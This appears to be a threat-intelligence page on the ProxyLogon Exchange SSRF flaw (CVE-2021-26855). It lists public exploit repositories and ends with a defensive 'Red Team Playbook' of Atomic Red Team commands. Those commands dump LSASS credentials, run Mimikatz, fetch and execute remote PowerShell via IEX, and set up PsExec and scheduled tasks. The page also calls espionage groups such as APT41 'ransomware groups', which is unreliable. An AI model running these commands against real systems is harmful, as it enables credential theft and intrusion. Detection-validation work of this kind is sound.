CVE-2021-26855

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 02/03 Upd 21/10

Overview

This vulnerability is a server-side request forgery (SSRF) flaw in Microsoft Exchange Server's HTTP proxy component, specifically affecting the handling of unauthenticated HTTP requests to the /owa/auth/x.js endpoint. The root cause lies in improper validation of backend request headers, allowing crafted headers to manipulate internal server requests. The affected feature is the Exchange Server proxy functionality responsible for routing client requests to internal services, enabling unauthorized request redirection within the server environment.

Vulnerability Description

Microsoft Exchange Server Remote Code Execution Vulnerability

Impact

An unauthenticated attacker can exploit this vulnerability remotely without user interaction to gain unauthorized access to sensitive internal resources and execute arbitrary code on the Exchange Server. This enables full system compromise, including the ability to access mailbox data, manipulate email traffic, and potentially move laterally within the network. The exploit can lead to data breaches, service disruption, and loss of system integrity, severely impacting organizational security and operations.

Solution

Microsoft has released security updates addressing this vulnerability in Exchange Server 2016 Cumulative Update 19 and later. Administrators should apply the updates as detailed in the Microsoft Security Advisory available at https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855. The advisory provides step-by-step patching instructions and recommends immediate deployment of the cumulative update to affected Exchange Server versions to mitigate the issue.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability exists within Microsoft Exchange Server, specifically affecting various cumulative updates across the 2013, 2016, and 2019 versions. This flaw allows for remote code execution, which can be exploited by an attacker to gain unauthorized access to the server. The vulnerability arises from improper validation of command inputs, enabling malicious actors to execute arbitrary code within the context of the affected application. This can lead to a complete compromise of the server, allowing attackers to manipulate data, install malware, or pivot to other systems within the network.

Attack vectors for this vulnerability are particularly concerning due to the ease with which they can be exploited. An attacker can initiate an attack by sending specially crafted requests to the vulnerable Exchange Server. Given that Exchange Server is often exposed to the internet for email services, the attack surface is significantly broadened. Exploitation can occur without any user interaction, making it a prime target for automated attacks. Scenarios may include an attacker gaining access to sensitive corporate emails, stealing credentials, or deploying ransomware, which can have devastating effects on an organization’s operations.

The real-world impact of this vulnerability is profound, as it poses significant business risks. Organizations that rely on Microsoft Exchange for communication are particularly vulnerable, as a successful exploitation could lead to data breaches, loss of sensitive information, and reputational damage. The financial implications can be severe, with potential costs arising from incident response, legal liabilities, and regulatory fines. Furthermore, the disruption of email services can hinder business continuity, leading to lost productivity and revenue. The high CVSS score of 9.1 underscores the critical nature of this vulnerability, indicating that organizations must prioritize its remediation.

To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating and patching Microsoft Exchange Server installations is essential, as Microsoft has released security updates specifically addressing this flaw. Implementing robust network segmentation can limit the exposure of Exchange Servers to the internet, reducing the attack surface. Additionally, organizations should employ intrusion detection systems (IDS) to monitor for unusual activity and anomalous requests that may indicate exploitation attempts. Conducting regular security assessments and penetration testing can also help identify vulnerabilities before they are exploited by malicious actors.

In conclusion, the remote code execution vulnerability in Microsoft Exchange Server represents a significant threat to organizations that utilize this platform for email communication. The potential for exploitation through crafted requests, combined with the severe impact on business operations and data integrity, necessitates immediate attention from cybersecurity professionals. By implementing comprehensive detection and mitigation strategies, organizations can safeguard their systems against this critical vulnerability and enhance their overall security posture.




CSURFACE threat intelligence has detected a slight increase in activity related to CVE-2021-26855, indicating a modest resurgence in attempts to exploit this critical Microsoft Exchange Server vulnerability. While the overall exploitation trend remains stable, the uptick in detection signals suggests that threat actors, including ransomware-associated groups such as ToddyCat and APT41, continue to leverage this vulnerability as part of their operational toolkits. The persistence of publicly available proof-of-concept exploits, combined with ongoing reconnaissance and scanning efforts observed by our sensors, underscores the sustained interest in this attack vector. This development is significant for defenders as it highlights the enduring risk posed by CVE-2021-26855 despite mitigation efforts and patch availability. Consequently, the threat level remains elevated, warranting continued vigilance and monitoring to detect potential intrusion attempts that could lead to severe operational disruption or ransomware deployment.



Update 2 — June 15, 2026

CSURFACE threat intelligence has detected a slight increase in activity related to CVE-2021-26855, reflected by a modest uptick in telemetry signals and a corresponding rise in the Exploit Prediction Scoring System (EPSS) score to its maximum value. This subtle escalation indicates that adversaries continue to probe and potentially exploit this vulnerability despite widespread awareness and patch availability. The persistence of publicly accessible proof-of-concept tools, which facilitate mass scanning and exploitation, sustains the attractiveness of this vector for threat actors, including ransomware groups such as ToddyCat and APT41. While the increase is not rapid or dramatic, it underscores the ongoing operational relevance of CVE-2021-26855 in the current threat landscape. Consequently, the threat level remains elevated, emphasizing the necessity for defenders to maintain vigilant monitoring and detection capabilities to identify exploitation attempts that could lead to unauthorized access or ransomware deployment.



Update 3 — July 08, 2026

CSURFACE threat intelligence has detected a slight increase in activity related to CVE-2021-26855 exploitation attempts, reflecting a modest upward trend in adversary engagement. This subtle rise in telemetry suggests that threat actors, including ransomware-affiliated groups such as ToddyCat and APT41, continue to prioritize this vulnerability as a viable attack vector. The persistence of publicly available proof-of-concept exploits, some recently enhanced with advanced techniques, sustains the operational utility of this vulnerability in the wild. Although the escalation is not pronounced, it reinforces the enduring threat posed by CVE-2021-26855 and underscores the necessity for ongoing vigilance. Consequently, the overall risk posture remains elevated, with the vulnerability continuing to represent a critical entry point for unauthorized access and ransomware deployment within targeted environments.

Affected Products (24)

Vendor Product Version CPE
microsoft Microsoft Exchange Server 2013 cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_21:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2013 cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_22:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2013 cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2016 cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_10:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2016 cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_11:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2016 cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_12:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2016 cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_13:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2016 cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_14:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2016 cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_15:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2016 cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_16:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2016 cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_17:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2016 cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_18:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2016 cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_19:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2016 cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_8:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2016 cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_9:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2019 cpe:2.3:a:microsoft:exchange_server:2019:-:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2019 cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_1:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2019 cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_2:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2019 cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_3:*:*:*:*:*:*
microsoft Microsoft Exchange Server 2019 cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_4:*:*:*:*:*:*
+4 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (3)

Module Authors Rank Platform Link
Microsoft Exchange ProxyLogon RCE
exploits/windows/http/exchange_proxylogon_rce
Orange Tsai, Jang (@testanull), mekhalleh (RAMELLA Sébastien) +4 Unknown - View
Microsoft Exchange ProxyLogon Collector
auxiliary/gather/exchange_proxylogon_collector
Orange Tsai, GreyOrder, mekhalleh (RAMELLA Sébastien) Unknown - View
Microsoft Exchange ProxyLogon Scanner
auxiliary/scanner/http/exchange_proxylogon
Orange Tsai, mekhalleh (RAMELLA Sébastien) Unknown - View

ExploitDB (4)

Title Author Type Platform Date Link
Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit) mekhalleh webapps windows - View
Microsoft Exchange 2019 - Unauthenticated Email Download Gonzalo Villegas webapps windows - View
Microsoft Exchange 2019 - Server-Side Request Forgery (Proxylogon) (PoC) testanull webapps windows - View
Microsoft Exchange 2019 - Server-Side Request Forgery F5 remote windows - View

GitHub PoCs (49)

Repository Author Stars Forks Date Link
Flangvik/SharpProxyLogon
C# POC for CVE-2021-26855 aka ProxyLogon, supports the classically semi-interactive web shell as well as shellcode injec...
Flangvik 249 41 2021-03-29 View
hosch3n/ProxyVulns
[ProxyLogon] CVE-2021-26855 & CVE-2021-27065 Fixed RawIdentity Bug Exploit. [ProxyOracle] CVE-2021-31195 & CVE-2021-3119...
hosch3n 177 33 2021-04-14 View
dwisiswant0/proxylogscan
A fast tool to mass scan for a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authenti...
dwisiswant0 164 23 2021-03-08 View
h4x0r-dz/CVE-2021-26855
h4x0r-dz 100 61 2021-03-09 View
p0wershe11/ProxyLogon
ProxyLogon(CVE-2021-26855+CVE-2021-27065) Exchange Server RCE(SSRF->GetWebShell)
p0wershe11 124 32 2021-03-17 View
cert-lv/exchange_webshell_detection
Detect webshells dropped on Microsoft Exchange servers exploited through "proxylogon" group of vulnerabilites (CVE-2021-...
cert-lv 99 19 2021-03-05 View
hackerschoice/CVE-2021-26855
PoC of proxylogon chain SSRF(CVE-2021-26855) to write file by testanull, censored by github
hackerschoice 61 32 2021-03-11 View
alt3kx/CVE-2021-26855_PoC
alt3kx 53 29 2021-03-10 View
hackerxj007/CVE-2021-26855
CVE-2021-26855 exp
hackerxj007 5 69 2021-03-08 View
praetorian-inc/proxylogon-exploit
Proof-of-concept exploit for CVE-2021-26855 and CVE-2021-27065. Unauthenticated RCE in Exchange.
praetorian-inc 52 17 2021-03-24 View
ZephrFish/Exch-CVE-2021-26855
CVE-2021-26855: PoC (Not a HoneyPoC for once!)
ZephrFish 30 15 2021-03-14 View
conjojo/Microsoft_Exchange_Server_SSRF_CVE-2021-26855
Microsoft Exchange Server SSRF漏洞(CVE-2021-26855)
conjojo 36 8 2021-03-06 View
RickGeex/ProxyLogon
ProxyLogon is the formally generic name for CVE-2021-26855, a vulnerability on Microsoft Exchange Server that allows an ...
RickGeex 33 9 2021-03-16 View
evilashz/ExchangeSSRFtoRCEExploit
CVE-2021-26855 & CVE-2021-27065
evilashz 28 9 2021-03-15 View
srvaccount/CVE-2021-26855-PoC
PoC exploit code for CVE-2021-26855
srvaccount 17 20 2021-03-09 View
pussycat0x/CVE-2021-26855-SSRF
This script helps to identify CVE-2021-26855 ssrf Poc
pussycat0x 23 12 2021-03-06 View
hakivvi/proxylogon
RCE exploit for Microsoft Exchange Server (CVE-2021-26855).
hakivvi 22 6 2021-03-14 View
soteria-security/HAFNIUM-IOC
A PowerShell script to identify indicators of exploitation of CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-20...
soteria-security 22 1 2021-03-03 View
r0xDB/CVE-2021-26855
CVE-2021-26855, also known as Proxylogon, is a server-side request forgery (SSRF) vulnerability in Exchange that allow...
r0xDB 12 7 2021-03-11 View
mil1200/ProxyLogon-CVE-2021-26855
RCE exploit for ProxyLogon vulnerability in Microsoft Exchange
mil1200 9 8 2021-03-14 View
kh4sh3i/ProxyLogon
ProxyLogon (CVE-2021-26855+CVE-2021-27065) Exchange Server RCE (SSRF->GetWebShell)
kh4sh3i 9 2 2022-06-27 View
Yt1g3r/CVE-2021-26855_SSRF
POC of CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-26865, ProxyLogon poc
Yt1g3r 4 6 2021-03-08 View
Mr-xn/CVE-2021-26855-d
Mr-xn 6 4 2021-03-15 View
SCS-Labs/HAFNIUM-Microsoft-Exchange-0day
CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065
SCS-Labs 5 4 2021-03-11 View
thau0x01/poc_proxylogon
Microsoft Exchange ProxyLogon PoC (CVE-2021-26855)
thau0x01 8 1 2021-12-04 View
sgnls/exchange-0days-202103
IoC determination for exploitation of CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065.
sgnls 5 3 2021-03-03 View
La3B0z/CVE-2021-26855-SSRF-Exchange
CVE-2021-26855 SSRF Exchange Server
La3B0z 6 2 2021-03-07 View
TaroballzChen/ProxyLogon-CVE-2021-26855-metasploit
CVE-2021-26855 proxyLogon metasploit exploit script
TaroballzChen 4 4 2021-03-17 View
catmandx/CVE-2021-26855-Exchange-RCE
Microsoft Exchange Proxylogon Exploit Chain EXP分析
catmandx 0 6 2021-03-21 View
mekhalleh/exchange_proxylogon
Module pack for #ProxyLogon (part. of my contribute for Metasploit-Framework) [CVE-2021-26855 && CVE-2021-27065]
mekhalleh 4 2 2021-03-07 View
ZephrFish/Exch-CVE-2021-26855_Priv
patched to work
ZephrFish 4 1 2021-03-15 View
KotSec/CVE-2021-26855-Scanner
Scanner and PoC for CVE-2021-26855
KotSec 3 2 2021-03-12 View
ssrsec/Microsoft-Exchange-RCE
Microsoft Exchange CVE-2021-26855&CVE-2021-27065
ssrsec 3 2 2023-02-02 View
Immersive-Labs-Sec/ProxyLogon
Chaining CVE-2021-26855 and CVE-2021-26857 to exploit Microsoft Exchange
Immersive-Labs-Sec 3 1 2021-03-16 View
haotiku/CVE-2021-26855-exploit-Exchange
haotiku 0 2 2021-04-14 View
glen-pearson/ProxyLogon-CVE-2021-26855
glen-pearson 1 1 2023-04-23 View
antichown/Scan-Vuln-CVE-2021-26855
antichown 0 1 2021-03-18 View
TheDudeD6/ExchangeSmash
CVE-2021-26855
TheDudeD6 0 1 2022-06-24 View
Wercd/CVE-2021-26855
Wercd 0 0 2025-12-04 View
Nick-Yin12/106362522
針對近期微軟公布修補遭駭客攻擊的Exchange Server漏洞問題,台灣DEVCORE表示早在1月5日便已發現安全漏洞後,並且向微軟通報此項編號命名為「CVE-2021-26855 」,以及「CVE-2021-27065」的零日漏洞,同...
Nick-Yin12 0 0 2021-04-19 View
1342486672/Flangvik
C# POC for CVE-2021-26855 aka ProxyLogon, supports the classically semi-interactive web shell as well as shellcode in…
1342486672 0 0 2022-06-07 View
DCScoder/Exchange_IOC_Hunter
CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065
DCScoder 0 0 2021-03-09 View
SimoesCTT/CTT-ProxyLogon-RCE-v1.0---Convergent-Time-Theory-Enhanced-Microsoft-Exchange-Exploit
An advanced exploit for Microsoft Exchange Server (CVE-2021-26855, CVE-2021-27065) enhanced with Convergent Time Theory...
SimoesCTT 0 0 2026-01-27 View
hictf/CVE-2021-26855-CVE-2021-27065
analytics ProxyLogo Mail exchange RCE
hictf 0 0 2021-03-23 View
ShyTangerine/cve-2021-26855
ShyTangerine 0 0 2023-04-25 View
SimoesCTT/CTT-Exchange-RCE-v1.0---Microsoft-Exchange-Exploit-CVSS-10.0-CRITICAL-CVE-2021-26855-CVE-2021-27065
CTT-enhanced version of the Microsoft Exchange Server SSRF to RCE exploit (ProxyShell/ProxyLogon), another CVSS 10.0 cri...
SimoesCTT 0 0 2026-01-28 View
mauricelambert/ExchangeWeaknessTest
This script test the CVE-2021-26855 vulnerability on Exchange Server.
mauricelambert 0 0 2021-03-09 View
timb-machine-mirrors/testanull-CVE-2021-26855_read_poc.txt
Clone from gist
timb-machine-mirrors 0 0 2024-01-04 View
yaoxiaoangry3/Flangvik
C# POC for CVE-2021-26855 aka ProxyLogon, supports the classically semi-interactive web shell as well as shellcode in…
yaoxiaoangry3 0 0 2021-10-30 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Ransomware Groups 4

ToddyCat
CORRELATED
correlation_mitre
2026-04-05
APT41
CORRELATED
correlation_mitre
2026-04-05
Threat Group-3390
CORRELATED
correlation_mitre
2026-04-05
Magic Hound
CORRELATED
correlation_mitre
2026-04-05

Threat Feed

53 events
2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by ToddyCat

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by APT41

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Threat Group-3390

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Magic Hound

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by bianlian

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)

2026-04-05
Exploited by blackbasta

Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)

2026-04-05
Exploited by Magic Hound

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Threat Group-3390

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by APT41

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by FIN7

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Kimsuky

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Iranian IRGC Data Extortion Operations

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by FIN12

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by ToddyCat

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by bian lian

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Vice Society

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Ember Bear

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Dragonfly

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by MuddyWater

Ransomware group known to exploit this vulnerability

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2021-03-03
PoC Published (49 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2021-03-02
Exploit Published (4 ExploitDB, 3 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
95% rce
Code Injection
77% code_injection
Deserialization Vulnerabilities
73% deserialization
Server-Side Request Forgery
70% ssrf
OS Command Injection
48% command_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.005 Scheduled Task Kill Chain execution, persistence, privilege-escalation Windows
T1059.001 PowerShell Kill Chain execution Windows
T1003.001 LSASS Memory Kill Chain credential-access Windows
T1087.002 Domain Account Kill Chain discovery Linux, macOS, Windows
T1021.002 SMB/Windows Admin Shares Kill Chain lateral-movement Windows

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-664 Server Side Request Forgery
30%
High High

Red Team Playbook

76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...
Command (CMD)
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged
Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell)
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...
Command (CMD)
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.
T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell)
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD)
"#{dumpert_exe}"
T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell)
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell)
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001 LSASS read with pypykatz Windows CMD Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD)
"#{venv_path}\Scripts\pypykatz" live lsa 
T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD)
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001 Powershell Mimikatz Windows PowerShell Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell)
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002 Copy and Execute File with PsExec Windows CMD Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD)
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged
Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.
Command (CMD)
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002 Map Admin Share PowerShell Windows PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell)
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002 Map admin share Windows CMD
Connecting To Remote Shares
Command (CMD)
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1053.005 Import XML Schedule Task with Hidden Attribute Windows PowerShell Privileged
Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.
Command (PowerShell)
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1053.005 PowerShell Modify A Scheduled Task Windows PowerShell
Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. It will first be created to spawn cmd.exe, but modified...
Command (PowerShell)
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
